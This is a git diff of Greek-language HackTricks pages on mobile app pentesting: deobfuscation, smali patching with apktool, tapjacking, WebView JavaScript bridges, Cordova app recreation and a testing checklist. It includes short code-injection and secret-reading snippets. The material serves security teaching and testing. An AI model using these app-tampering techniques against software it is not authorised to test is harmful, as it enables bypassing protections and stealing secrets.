Όταν ασχολείστε με **αποκρυφωμένο κώδικα**, μπορούν να χρησιμοποιηθούν αρκετές στρατηγικές ανάλογα με τη φύση της αποκρυπτογράφησης:
|
||||
|
||||
- **DEX bytecode (Java)**: Μια αποτελεσματική προσέγγιση περιλαμβάνει την αναγνώριση των μεθόδων απο-αποκρυπτογράφησης της εφαρμογής, και στη συνέχεια την αναπαραγωγή αυτών των μεθόδων σε ένα αρχείο Java. Αυτό το αρχείο εκτελείται για να αντιστρέψει την απόκρυψη στα στοχευμένα στοιχεία.
|
||||
- **DEX bytecode (Java)**: Μια αποτελεσματική προσέγγιση περιλαμβάνει την αναγνώριση των μεθόδων απο-αποκρυπτογράφησης της εφαρμογής, και στη συνέχεια την αναπαραγωγή αυτών των μεθόδων σε ένα αρχείο Java. Αυτό το αρχείο εκτελείται για να αντιστρέψει την αποκρυπτογράφηση στα στοχευμένα στοιχεία.
|
||||
- **Java και Native Code**: Μια άλλη μέθοδος είναι να μεταφράσετε τον αλγόριθμο απο-αποκρυπτογράφησης σε μια γλώσσα scripting όπως η Python. Αυτή η στρατηγική τονίζει ότι ο κύριος στόχος δεν είναι να κατανοηθεί πλήρως ο αλγόριθμος αλλά να εκτελείται αποτελεσματικά.
|
||||
|
||||
### **Αναγνώριση Απόκρυψης**
|
||||
### **Αναγνώριση Αποκρυπτογράφησης**
|
||||
|
||||
Η αναγνώριση του αποκρυφωμένου κώδικα είναι το πρώτο βήμα στη διαδικασία απο-αποκρυπτογράφησης. Κύριοι δείκτες περιλαμβάνουν:
|
||||
|
||||
- Η **απουσία ή η ανακατωμένη μορφή συμβολοσειρών** σε Java και Android, που μπορεί να υποδηλώνει απόκρυψη συμβολοσειρών.
|
||||
- Η **απουσία ή η ανακατωμένη μορφή των συμβολοσειρών** σε Java και Android, που μπορεί να υποδηλώνει αποκρυπτογράφηση συμβολοσειρών.
|
||||
- Η **παρουσία δυαδικών αρχείων** στον κατάλογο assets ή κλήσεις προς `DexClassLoader`, υποδεικνύοντας αποσυμπίεση κώδικα και δυναμική φόρτωση.
|
||||
- Η χρήση **native βιβλιοθηκών μαζί με μη αναγνωρίσιμες JNI συναρτήσεις**, υποδεικνύοντας πιθανή απόκρυψη των native μεθόδων.
|
||||
- Η χρήση **native βιβλιοθηκών μαζί με μη αναγνωρίσιμες JNI συναρτήσεις**, υποδεικνύοντας πιθανή αποκρυπτογράφηση των native μεθόδων.
|
||||
|
||||
## **Δυναμική Ανάλυση στην Απο-αποκρυπτογράφηση**
|
||||
|
||||
Με την εκτέλεση του κώδικα σε ελεγχόμενο περιβάλλον, η δυναμική ανάλυση **επιτρέπει την παρατήρηση του πώς συμπεριφέρεται ο αποκρυφωμένος κώδικας σε πραγματικό χρόνο**. Αυτή η μέθοδος είναι ιδιαίτερα αποτελεσματική στην αποκάλυψη των εσωτερικών λειτουργιών πολύπλοκων προτύπων απόκρυψης που έχουν σχεδιαστεί για να κρύβουν την αληθινή πρόθεση του κώδικα.
|
||||
Με την εκτέλεση του κώδικα σε ελεγχόμενο περιβάλλον, η δυναμική ανάλυση **επιτρέπει την παρατήρηση του πώς συμπεριφέρεται ο αποκρυφωμένος κώδικας σε πραγματικό χρόνο**. Αυτή η μέθοδος είναι ιδιαίτερα αποτελεσματική στην αποκάλυψη των εσωτερικών λειτουργιών πολύπλοκων προτύπων αποκρυπτογράφησης που έχουν σχεδιαστεί για να κρύβουν την αληθινή πρόθεση του κώδικα.
|
||||
|
||||
### **Εφαρμογές Δυναμικής Ανάλυσης**
|
||||
|
||||
- **Αποκρυπτογράφηση σε Χρόνο Εκτέλεσης**: Πολλές τεχνικές απόκρυψης περιλαμβάνουν την κρυπτογράφηση συμβολοσειρών ή τμημάτων κώδικα που αποκρυπτογραφούνται μόνο κατά την εκτέλεση. Μέσω της δυναμικής ανάλυσης, αυτά τα κρυπτογραφημένα στοιχεία μπορούν να καταγραφούν τη στιγμή της αποκρυπτογράφησης, αποκαλύπτοντας την αληθινή τους μορφή.
|
||||
- **Αναγνώριση Τεχνικών Απόκρυψης**: Παρακολουθώντας τη συμπεριφορά της εφαρμογής, η δυναμική ανάλυση μπορεί να βοηθήσει στην αναγνώριση συγκεκριμένων τεχνικών απόκρυψης που χρησιμοποιούνται, όπως η εικονικοποίηση κώδικα, οι packers ή η δυναμική δημιουργία κώδικα.
|
||||
- **Αποκρυπτογράφηση σε Χρόνο Εκτέλεσης**: Πολλές τεχνικές αποκρυπτογράφησης περιλαμβάνουν την κρυπτογράφηση συμβολοσειρών ή τμημάτων κώδικα που αποκρυπτογραφούνται μόνο κατά την εκτέλεση. Μέσω της δυναμικής ανάλυσης, αυτά τα κρυπτογραφημένα στοιχεία μπορούν να καταγραφούν τη στιγμή της αποκρυπτογράφησης, αποκαλύπτοντας την αληθινή τους μορφή.
|
||||
- **Αναγνώριση Τεχνικών Αποκρυπτογράφησης**: Παρακολουθώντας τη συμπεριφορά της εφαρμογής, η δυναμική ανάλυση μπορεί να βοηθήσει στην αναγνώριση συγκεκριμένων τεχνικών αποκρυπτογράφησης που χρησιμοποιούνται, όπως η εικονικοποίηση κώδικα, οι packers ή η δυναμική δημιουργία κώδικα.
|
||||
- **Ανακάλυψη Κρυφής Λειτουργικότητας**: Ο αποκρυφωμένος κώδικας μπορεί να περιέχει κρυφές λειτουργίες που δεν είναι προφανείς μόνο μέσω στατικής ανάλυσης. Η δυναμική ανάλυση επιτρέπει την παρατήρηση όλων των διαδρομών κώδικα, συμπεριλαμβανομένων εκείνων που εκτελούνται υπό προϋποθέσεις, για να αποκαλύψει τέτοιες κρυφές λειτουργίες.
|
||||
|
||||
## Αναφορές και Περαιτέρω Ανάγνωση
|
||||
|
||||
- [https://maddiestone.github.io/AndroidAppRE/obfuscation.html](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)
|
||||
- BlackHat USA 2018: “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
|
||||
- Αυτή η ομιλία καλύπτει την αντίστροφη μηχανική μιας από τις πιο πολύπλοκες βιβλιοθήκες anti-analysis που έχω δει να χρησιμοποιούνται από μια εφαρμογή Android. Καλύπτει κυρίως τεχνικές απόκρυψης σε native κώδικα.
|
||||
- Αυτή η ομιλία καλύπτει την αντίστροφη μηχανική μιας από τις πιο πολύπλοκες βιβλιοθήκες anti-analysis που έχω δει να χρησιμοποιούνται από μια εφαρμογή Android. Καλύπτει κυρίως τεχνικές αποκρυπτογράφησης σε native κώδικα.
|
||||
- REcon 2019: “The Path to the Payload: Android Edition” \[[video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
|
||||
- Αυτή η ομιλία συζητά μια σειρά τεχνικών απόκρυψης, αποκλειστικά σε κώδικα Java, που χρησιμοποιούσε ένα botnet Android για να κρύψει τη συμπεριφορά του.
|
||||
- Αυτή η ομιλία συζητά μια σειρά τεχνικών αποκρυπτογράφησης, αποκλειστικά σε κώδικα Java, που χρησιμοποιούσε ένα Android botnet για να κρύψει τη συμπεριφορά του.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -11,7 +11,7 @@
|
||||
- **Εγγενείς Βιβλιοθήκες σε Εφαρμογές Android:**
|
||||
- Χρησιμοποιούνται για εργασίες που απαιτούν υψηλή απόδοση.
|
||||
- Γραμμένες σε C ή C++, καθιστώντας την αντίστροφη μηχανική δύσκολη.
|
||||
- Βρίσκονται σε μορφή `.so` (shared object), παρόμοια με τα δυαδικά αρχεία Linux.
|
||||
- Βρίσκονται σε μορφή `.so` (shared object), παρόμοια με τα εκτελέσιμα Linux.
|
||||
- Οι δημιουργοί κακόβουλου λογισμικού προτιμούν τον εγγενή κώδικα για να κάνουν την ανάλυση πιο δύσκολη.
|
||||
- **Java Native Interface (JNI) & Android NDK:**
|
||||
- Το JNI επιτρέπει την υλοποίηση μεθόδων Java σε εγγενή κώδικα.
|
||||
|
||||
@ -1,24 +1,24 @@
|
||||
# Smali - Αποσυμπίεση/\[Τροποποίηση]/Συμπίεση
|
||||
# Smali - Decompiling/\[Modifying]/Compiling
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Μερικές φορές είναι ενδιαφέρον να τροποποιήσετε τον κώδικα της εφαρμογής για να αποκτήσετε πρόσβαση σε κρυφές πληροφορίες (ίσως καλά κρυμμένους κωδικούς ή σημαίες). Τότε, θα μπορούσε να είναι ενδιαφέρον να αποσυμπιέσετε το apk, να τροποποιήσετε τον κώδικα και να τον συμπιέσετε ξανά.
|
||||
Μερικές φορές είναι ενδιαφέρον να τροποποιήσετε τον κώδικα της εφαρμογής για να αποκτήσετε πρόσβαση σε κρυφές πληροφορίες (ίσως καλά κρυμμένους κωδικούς ή σημαίες). Τότε, θα μπορούσε να είναι ενδιαφέρον να αποσυμπιέσετε το apk, να τροποποιήσετε τον κώδικα και να τον ξανασυμπιέσετε.
|
||||
|
||||
**Αναφορά Opcodes:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html)
|
||||
**Opcodes reference:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html)
|
||||
|
||||
## Γρήγορος Τρόπος
|
||||
## Fast Way
|
||||
|
||||
Χρησιμοποιώντας το **Visual Studio Code** και την επέκταση [APKLab](https://github.com/APKLab/APKLab), μπορείτε να **αποσυμπιέσετε αυτόματα**, να τροποποιήσετε, **να συμπιέσετε ξανά**, να υπογράψετε και να εγκαταστήσετε την εφαρμογή χωρίς να εκτελέσετε καμία εντολή.
|
||||
Χρησιμοποιώντας το **Visual Studio Code** και την επέκταση [APKLab](https://github.com/APKLab/APKLab), μπορείτε να **αποσυμπιέσετε αυτόματα**, να τροποποιήσετε, **να ξανασυμπιέσετε**, να υπογράψετε και να εγκαταστήσετε την εφαρμογή χωρίς να εκτελέσετε καμία εντολή.
|
||||
|
||||
Ένα άλλο **σενάριο** που διευκολύνει πολύ αυτή την εργασία είναι [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
|
||||
Ένα άλλο **script** που διευκολύνει πολύ αυτή την εργασία είναι [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
|
||||
|
||||
## Αποσυμπίεση του APK
|
||||
## Decompile the APK
|
||||
|
||||
Χρησιμοποιώντας το APKTool μπορείτε να έχετε πρόσβαση στον **κώδικα smali και τους πόρους**:
|
||||
Χρησιμοποιώντας το APKTool μπορείτε να αποκτήσετε πρόσβαση στον **κώδικα smali και τους πόρους**:
|
||||
```bash
|
||||
apktool d APP.apk
|
||||
```
|
||||
Αν το **apktool** σας δώσει οποιοδήποτε σφάλμα, προσπαθήστε να [εγκαταστήσετε την **τελευταία έκδοση**](https://ibotpeaches.github.io/Apktool/install/)
|
||||
Αν το **apktool** σας δώσει κάποιο σφάλμα, προσπαθήστε να [εγκαταστήσετε την **τελευταία έκδοση**](https://ibotpeaches.github.io/Apktool/install/)
|
||||
|
||||
Ορισμένα **ενδιαφέροντα αρχεία που θα πρέπει να εξετάσετε είναι**:
|
||||
|
||||
@ -44,7 +44,7 @@ apktool d APP.apk
|
||||
```bash
|
||||
apktool b . #In the folder generated when you decompiled the application
|
||||
```
|
||||
Θα **συγκεντρώσει** το νέο APK **μέσα** στον φάκελο _**dist**_.
|
||||
Θα **συγκεντρώσει** το νέο APK **μέσα** στον _**φάκελο dist**_.
|
||||
|
||||
Αν το **apktool** ρίξει ένα **σφάλμα**, δοκιμάστε[ να εγκαταστήσετε την **τελευταία έκδοση**](https://ibotpeaches.github.io/Apktool/install/)
|
||||
|
||||
@ -149,7 +149,7 @@ invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/Strin
|
||||
|
||||
Θυμηθείτε να προσθέσετε 3 στον αριθμό των _.locals_ στην αρχή της συνάρτησης.
|
||||
|
||||
Αυτός ο κώδικας είναι έτοιμος να εισαχθεί στη **μέση μιας συνάρτησης** (**αλλάξτε** τον αριθμό των **μεταβλητών** όπως απαιτείται). Θα πάρει την **τιμή του this.o**, **θα την μετατρέψει** σε **String** και στη συνέχεια **θα κάνει** ένα **toast** με την τιμή του.
|
||||
Αυτός ο κώδικας είναι έτοιμος να εισαχθεί στη **μέση μιας συνάρτησης** (**αλλάξτε** τον αριθμό των **μεταβλητών** όπως απαιτείται). Θα πάρει την **τιμή του this.o**, θα την **μετατρέψει** σε **String** και στη συνέχεια θα **δημιουργήσει** ένα **toast** με την τιμή του.
|
||||
```bash
|
||||
const/4 v10, 0x1
|
||||
const/4 v11, 0x1
|
||||
|
||||
@ -15,9 +15,9 @@
|
||||
|
||||
- Μεταβείτε στις **Ρυθμίσεις** της συσκευής σας.
|
||||
- Προχωρήστε σε **Εφαρμογές** ή **Διαχειριστής Εφαρμογών** (αυτό μπορεί να διαφέρει ανάλογα με τη συσκευή σας).
|
||||
- Βρείτε και επιλέξτε το **Google Play Store** από τη λίστα των εφαρμογών.
|
||||
- Βρείτε και επιλέξτε το **Google Play Store** από τη λίστα εφαρμογών.
|
||||
- Πατήστε **Αναγκαστική διακοπή** για να τερματίσετε οποιαδήποτε εκτελούμενη διαδικασία της εφαρμογής.
|
||||
- Στη συνέχεια, πατήστε **Καθαρισμός δεδομένων** ή **Καθαρισμός αποθήκευσης** (η ακριβής διατύπωση μπορεί να διαφέρει) για να επαναφέρετε την εφαρμογή Google Play Store στην προεπιλεγμένη κατάσταση.
|
||||
- Στη συνέχεια, πατήστε **Καθαρισμός Δεδομένων** ή **Καθαρισμός Αποθήκευσης** (η ακριβής διατύπωση μπορεί να διαφέρει) για να επαναφέρετε την εφαρμογή Google Play Store στην προεπιλεγμένη κατάσταση.
|
||||
|
||||
4. **Αποκτήστε πρόσβαση στην περιορισμένη εφαρμογή:**
|
||||
- Ανοίξτε το **Google Play Store**.
|
||||
|
||||
@ -5,11 +5,11 @@
|
||||
## **Βασικές Πληροφορίες**
|
||||
|
||||
**Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη** **εφαρμογή** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή θύμα**. Μόλις καλύψει ορατά την εφαρμογή θύμα, η διεπαφή χρήστη της είναι σχεδιασμένη με τέτοιο τρόπο ώστε να παραπλανήσει τον χρήστη να αλληλεπιδράσει με αυτήν, ενώ περνά την αλληλεπίδραση στην εφαρμογή θύμα.\
|
||||
Στην ουσία, **τυφλώνει τον χρήστη από το να γνωρίζει ότι εκτελεί ενέργειες στην εφαρμογή θύμα**.
|
||||
Στην ουσία, **τυφλώνει τον χρήστη από το να γνωρίζει ότι εκτελεί πραγματικά ενέργειες στην εφαρμογή θύμα**.
|
||||
|
||||
### Ανίχνευση
|
||||
|
||||
Για να ανιχνεύσετε εφαρμογές ευάλωτες σε αυτή την επίθεση, θα πρέπει να αναζητήσετε **εξαγόμενες δραστηριότητες** στο android manifest (σημειώστε ότι μια δραστηριότητα με intent-filter εξάγεται αυτόματα από προεπιλογή). Μόλις βρείτε τις εξαγόμενες δραστηριότητες, **ελέγξτε αν απαιτούν οποιαδήποτε άδεια**. Αυτό συμβαίνει επειδή η **κακόβουλη εφαρμογή θα χρειαστεί επίσης αυτή την άδεια**.
|
||||
Για να ανιχνεύσετε εφαρμογές ευάλωτες σε αυτή την επίθεση, θα πρέπει να αναζητήσετε **εξαγόμενες δραστηριότητες** στο android manifest (σημειώστε ότι μια δραστηριότητα με intent-filter εξάγεται αυτόματα από προεπιλογή). Μόλις βρείτε τις εξαγόμενες δραστηριότητες, **ελέγξτε αν απαιτούν κάποια άδεια**. Αυτό συμβαίνει επειδή η **κακόβουλη εφαρμογή θα χρειαστεί και αυτή την άδεια**.
|
||||
|
||||
### Προστασία
|
||||
|
||||
@ -19,11 +19,11 @@
|
||||
|
||||
#### `filterTouchesWhenObscured`
|
||||
|
||||
Αν **`android:filterTouchesWhenObscured`** είναι ρυθμισμένο σε **`true`**, το `View` δεν θα λαμβάνει επαφές όποτε το παράθυρο της προβολής καλύπτεται από άλλο ορατό παράθυρο.
|
||||
Αν **`android:filterTouchesWhenObscured`** είναι ρυθμισμένο σε **`true`**, το `View` δεν θα λαμβάνει αγγίγματα όποτε το παράθυρο της προβολής καλύπτεται από άλλο ορατό παράθυρο.
|
||||
|
||||
#### **`setFilterTouchesWhenObscured`**
|
||||
|
||||
Η ιδιότητα **`setFilterTouchesWhenObscured`** ρυθμισμένη σε true μπορεί επίσης να αποτρέψει την εκμετάλλευση αυτής της ευπάθειας αν η έκδοση του Android είναι χαμηλότερη.\
|
||||
Η ιδιότητα **`setFilterTouchesWhenObscured`** ρυθμισμένη σε true μπορεί επίσης να αποτρέψει την εκμετάλλευση αυτής της ευπάθειας αν η έκδοση Android είναι χαμηλότερη.\
|
||||
Αν ρυθμιστεί σε **`true`**, για παράδειγμα, ένα κουμπί μπορεί να απενεργοποιηθεί αυτόματα **αν καλύπτεται**:
|
||||
```xml
|
||||
<Button android:text="Button"
|
||||
@ -54,7 +54,7 @@ android:filterTouchesWhenObscured="true">
|
||||
|
||||
Η μείωση είναι σχετικά απλή καθώς ο προγραμματιστής μπορεί να επιλέξει να μην λαμβάνει γεγονότα αφής όταν μια προβολή καλύπτεται από άλλη. Χρησιμοποιώντας την [Αναφορά Προγραμματιστή Android](https://developer.android.com/reference/android/view/View#security):
|
||||
|
||||
> Μερικές φορές είναι απαραίτητο μια εφαρμογή να μπορεί να επαληθεύσει ότι μια ενέργεια εκτελείται με πλήρη γνώση και συγκατάθεση του χρήστη, όπως η χορήγηση ενός αιτήματος άδειας, η πραγματοποίηση μιας αγοράς ή το κλικ σε μια διαφήμιση. Δυστυχώς, μια κακόβουλη εφαρμογή θα μπορούσε να προσπαθήσει να παραπλανήσει τον χρήστη να εκτελέσει αυτές τις ενέργειες, χωρίς να το γνωρίζει, αποκρύπτοντας τον προορισμό της προβολής. Ως remedy, το πλαίσιο προσφέρει έναν μηχανισμό φιλτραρίσματος αφής που μπορεί να χρησιμοποιηθεί για να βελτιώσει την ασφάλεια των προβολών που παρέχουν πρόσβαση σε ευαίσθητη λειτουργικότητα.
|
||||
> Μερικές φορές είναι απαραίτητο μια εφαρμογή να μπορεί να επαληθεύσει ότι μια ενέργεια εκτελείται με πλήρη γνώση και συναίνεση του χρήστη, όπως η χορήγηση ενός αιτήματος άδειας, η πραγματοποίηση μιας αγοράς ή το κλικ σε μια διαφήμιση. Δυστυχώς, μια κακόβουλη εφαρμογή θα μπορούσε να προσπαθήσει να παραπλανήσει τον χρήστη να εκτελέσει αυτές τις ενέργειες, χωρίς να το γνωρίζει, αποκρύπτοντας τον προορισμό της προβολής. Ως remedy, το πλαίσιο προσφέρει έναν μηχανισμό φιλτραρίσματος αφής που μπορεί να χρησιμοποιηθεί για να βελτιώσει την ασφάλεια των προβολών που παρέχουν πρόσβαση σε ευαίσθητη λειτουργικότητα.
|
||||
>
|
||||
> Για να ενεργοποιήσετε το φιλτράρισμα αφής, καλέστε [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ή ορίστε την ιδιότητα διάταξης android:filterTouchesWhenObscured σε true. Όταν είναι ενεργοποιημένο, το πλαίσιο θα απορρίπτει τις αφές που λαμβάνονται όποτε το παράθυρο της προβολής καλύπτεται από άλλο ορατό παράθυρο. Ως αποτέλεσμα, η προβολή δεν θα λαμβάνει αφές όποτε εμφανίζεται ένα toast, διάλογος ή άλλο παράθυρο πάνω από το παράθυρο της προβολής.
|
||||
|
||||
|
||||
@ -43,7 +43,7 @@ webview.loadUrl("<url here>")
|
||||
|
||||
### **JavaScript και Διαχείριση Σχεδίου Intent**
|
||||
|
||||
- **JavaScript**: Απενεργοποιημένο από προεπιλογή σε WebViews, μπορεί να ενεργοποιηθεί μέσω του `setJavaScriptEnabled()`. Συνιστάται προσοχή καθώς η ενεργοποίηση του JavaScript χωρίς κατάλληλες προστασίες μπορεί να εισάγει ευπάθειες ασφαλείας.
|
||||
- **JavaScript**: Απενεργοποιημένο από προεπιλογή στα WebViews, μπορεί να ενεργοποιηθεί μέσω του `setJavaScriptEnabled()`. Συνιστάται προσοχή καθώς η ενεργοποίηση του JavaScript χωρίς κατάλληλες προστασίες μπορεί να εισάγει ευπάθειες ασφαλείας.
|
||||
- **Σχέδιο Intent**: Τα WebViews μπορούν να διαχειριστούν το σχέδιο `intent`, ενδεχομένως οδηγώντας σε εκμεταλλεύσεις αν δεν διαχειριστούν προσεκτικά. Ένα παράδειγμα ευπάθειας περιλάμβανε μια εκτεθειμένη παράμετρο WebView "support_url" που θα μπορούσε να εκμεταλλευτεί για την εκτέλεση επιθέσεων cross-site scripting (XSS).
|
||||
|
||||
.png>)
|
||||
@ -84,7 +84,7 @@ alert(javascriptBridge.getSecret())
|
||||
|
||||
- Μια τεκμηριωμένη μέθοδος επιτρέπει την επίτευξη RCE μέσω αντανάκλασης εκτελώντας ένα συγκεκριμένο payload. Ωστόσο, η αναγνώριση `@JavascriptInterface` αποτρέπει την μη εξουσιοδοτημένη πρόσβαση σε μεθόδους, περιορίζοντας την επιφάνεια επίθεσης.
|
||||
|
||||
### Απομακρυσμένη Εντοπισμός Σφαλμάτων
|
||||
### Απομακρυσμένος Εντοπισμός Σφαλμάτων
|
||||
|
||||
- **Απομακρυσμένος εντοπισμός σφαλμάτων** είναι δυνατός με τα **Chrome Developer Tools**, επιτρέποντας την αλληλεπίδραση και την αυθαίρετη εκτέλεση JavaScript μέσα στο περιεχόμενο του WebView.
|
||||
|
||||
|
||||
@ -14,7 +14,7 @@
|
||||
- [ ] [Υπηρεσίες](android-app-pentesting/#services-1)
|
||||
- [ ] [Δέκτες εκπομπών](android-app-pentesting/#broadcast-receivers)
|
||||
- [ ] [Intents](android-app-pentesting/#intents)
|
||||
- [ ] [Φίλτρο Intent](android-app-pentesting/#intent-filter)
|
||||
- [ ] [Φίλτρο Intents](android-app-pentesting/#intent-filter)
|
||||
- [ ] [Άλλα συστατικά](android-app-pentesting/#other-app-components)
|
||||
- [ ] [Πώς να χρησιμοποιήσετε το ADB](android-app-pentesting/#adb-android-debug-bridge)
|
||||
- [ ] [Πώς να τροποποιήσετε το Smali](android-app-pentesting/#smali)
|
||||
@ -34,7 +34,7 @@
|
||||
- [ ] Δέκτες εκπομπών
|
||||
- [ ] Σχέδια URL
|
||||
- [ ] Αποθηκεύει η εφαρμογή δεδομένα [με ανασφαλή τρόπο εσωτερικά ή εξωτερικά](android-app-pentesting/#insecure-data-storage);
|
||||
- [ ] Υπάρχει κάποιος [κωδικός πρόσβασης σκληρά κωδικοποιημένος ή αποθηκευμένος σε δίσκο](android-app-pentesting/#poorkeymanagementprocesses); Χρησιμοποιεί η εφαρμογή [ανασφαλείς αλγόριθμους κρυπτογράφησης](android-app-pentesting/#useofinsecureandordeprecatedalgorithms);
|
||||
- [ ] Υπάρχει κάποιος [κωδικός πρόσβασης σκληρά κωδικοποιημένος ή αποθηκευμένος στο δίσκο](android-app-pentesting/#poorkeymanagementprocesses); Χρησιμοποιεί η εφαρμογή [ανασφαλείς αλγόριθμους κρυπτογράφησης](android-app-pentesting/#useofinsecureandordeprecatedalgorithms);
|
||||
- [ ] Όλες οι βιβλιοθήκες έχουν μεταγλωττιστεί χρησιμοποιώντας τη σημαία PIE;
|
||||
- [ ] Μην ξεχνάτε ότι υπάρχει μια σειρά από [στατικούς αναλυτές Android](android-app-pentesting/#automatic-analysis) που μπορούν να σας βοηθήσουν πολύ σε αυτή τη φάση.
|
||||
|
||||
@ -47,7 +47,7 @@
|
||||
- [ ] [Εκμεταλλεύσιμοι Πάροχοι περιεχομένου](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information);
|
||||
- [ ] [Εκμεταλλεύσιμες εκτεθειμένες Υπηρεσίες](android-app-pentesting/#exploiting-services);
|
||||
- [ ] [Εκμεταλλεύσιμοι Δέκτες εκπομπών](android-app-pentesting/#exploiting-broadcast-receivers);
|
||||
- [ ] Μεταδίδει η εφαρμογή πληροφορίες [σε καθαρό κείμενο/χρησιμοποιώντας αδύναμους αλγόριθμους](android-app-pentesting/#insufficient-transport-layer-protection); είναι δυνατός ο MitM;
|
||||
- [ ] Μεταδίδει η εφαρμογή πληροφορίες [σε καθαρό κείμενο/χρησιμοποιώντας αδύναμους αλγόριθμους](android-app-pentesting/#insufficient-transport-layer-protection); είναι δυνατός ένας MitM;
|
||||
- [ ] [Επιθεωρήστε την κίνηση HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
|
||||
- [ ] Αυτό είναι πραγματικά σημαντικό, γιατί αν μπορείτε να συλλάβετε την κίνηση HTTP μπορείτε να αναζητήσετε κοινές ευπάθειες Web (το Hacktricks έχει πολλές πληροφορίες σχετικά με τις ευπάθειες Web).
|
||||
- [ ] Ελέγξτε για πιθανές [Android Client Side Injections](android-app-pentesting/#android-client-side-injections-and-others) (πιθανώς κάποια στατική ανάλυση κώδικα θα βοηθήσει εδώ)
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
**Για περισσότερες λεπτομέρειες ελέγξτε [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Αυτό είναι ένα σύνοψη:
|
||||
**Για περισσότερες λεπτομέρειες ελέγξτε [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Αυτό είναι μια περίληψη:
|
||||
|
||||
Το Apache Cordova αναγνωρίζεται για την δυνατότητα ανάπτυξης **υβριδικών εφαρμογών** χρησιμοποιώντας **JavaScript, HTML και CSS**. Επιτρέπει τη δημιουργία εφαρμογών για Android και iOS. Ωστόσο, δεν διαθέτει μηχανισμό από προεπιλογή για την ασφάλιση του πηγαίου κώδικα της εφαρμογής. Σε αντίθεση με το React Native, το Cordova δεν μεταγλωττίζει τον πηγαίο κώδικα από προεπιλογή, γεγονός που μπορεί να οδηγήσει σε ευπάθειες παραχάραξης κώδικα. Το Cordova χρησιμοποιεί το WebView για την απόδοση εφαρμογών, εκθέτοντας τον HTML και JavaScript κώδικα ακόμη και μετά την μεταγλώττιση σε αρχεία APK ή IPA. Το React Native, αντίθετα, χρησιμοποιεί μια JavaScript VM για την εκτέλεση του JavaScript κώδικα, προσφέροντας καλύτερη προστασία του πηγαίου κώδικα.
|
||||
|
||||
@ -24,7 +24,7 @@ cd bank-new
|
||||
|
||||
Για να προσδιορίσετε την κατάλληλη έκδοση πλατφόρμας Cordova Android, ελέγξτε το `PLATFORM_VERSION_BUILD_LABEL` στο αρχείο `cordova.js` της αρχικής εφαρμογής.
|
||||
|
||||
Αφού ρυθμίσετε την πλατφόρμα, εγκαταστήστε τα απαιτούμενα πρόσθετα. Το αρχείο `bank/assets/www/cordova_plugins.js` της αρχικής εφαρμογής απαριθμεί όλα τα πρόσθετα και τις εκδόσεις τους. Εγκαταστήστε κάθε πρόσθετο ξεχωριστά όπως φαίνεται παρακάτω:
|
||||
Αφού ρυθμίσετε την πλατφόρμα, εγκαταστήστε τα απαιτούμενα plugins. Το αρχείο `bank/assets/www/cordova_plugins.js` της αρχικής εφαρμογής απαριθμεί όλα τα plugins και τις εκδόσεις τους. Εγκαταστήστε κάθε plugin ξεχωριστά όπως φαίνεται παρακάτω:
|
||||
```bash
|
||||
cd bank-new
|
||||
cordova plugin add cordova-plugin-dialogs@2.0.1
|
||||
|
||||
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## iOS Βασικά
|
||||
## iOS Basics
|
||||
|
||||
{{#ref}}
|
||||
ios-basics.md
|
||||
{{#endref}}
|
||||
|
||||
## Περιβάλλον Δοκιμών
|
||||
## Testing Environment
|
||||
|
||||
Σε αυτή τη σελίδα μπορείτε να βρείτε πληροφορίες σχετικά με τον **iOS simulator**, **emulators** και **jailbreaking:**
|
||||
|
||||
@ -16,28 +16,28 @@ ios-basics.md
|
||||
ios-testing-environment.md
|
||||
{{#endref}}
|
||||
|
||||
## Αρχική Ανάλυση
|
||||
## Initial Analysis
|
||||
|
||||
### Βασικές Λειτουργίες Δοκιμών iOS
|
||||
### Basic iOS Testing Operations
|
||||
|
||||
Κατά τη διάρκεια της δοκιμής **θα προταθούν αρκετές λειτουργίες** (σύνδεση στη συσκευή, ανάγνωση/γραφή/ανέβασμα/κατέβασμα αρχείων, χρήση κάποιων εργαλείων...). Επομένως, αν δεν ξέρετε πώς να εκτελέσετε καμία από αυτές τις ενέργειες, παρακαλώ, **ξεκινήστε να διαβάζετε τη σελίδα**:
|
||||
Κατά τη διάρκεια της δοκιμής **θα προταθούν αρκετές ενέργειες** (σύνδεση στη συσκευή, ανάγνωση/γραφή/ανέβασμα/κατέβασμα αρχείων, χρήση κάποιων εργαλείων...). Επομένως, αν δεν ξέρετε πώς να εκτελέσετε καμία από αυτές τις ενέργειες, παρακαλώ, **ξεκινήστε να διαβάζετε τη σελίδα**:
|
||||
|
||||
{{#ref}}
|
||||
basic-ios-testing-operations.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
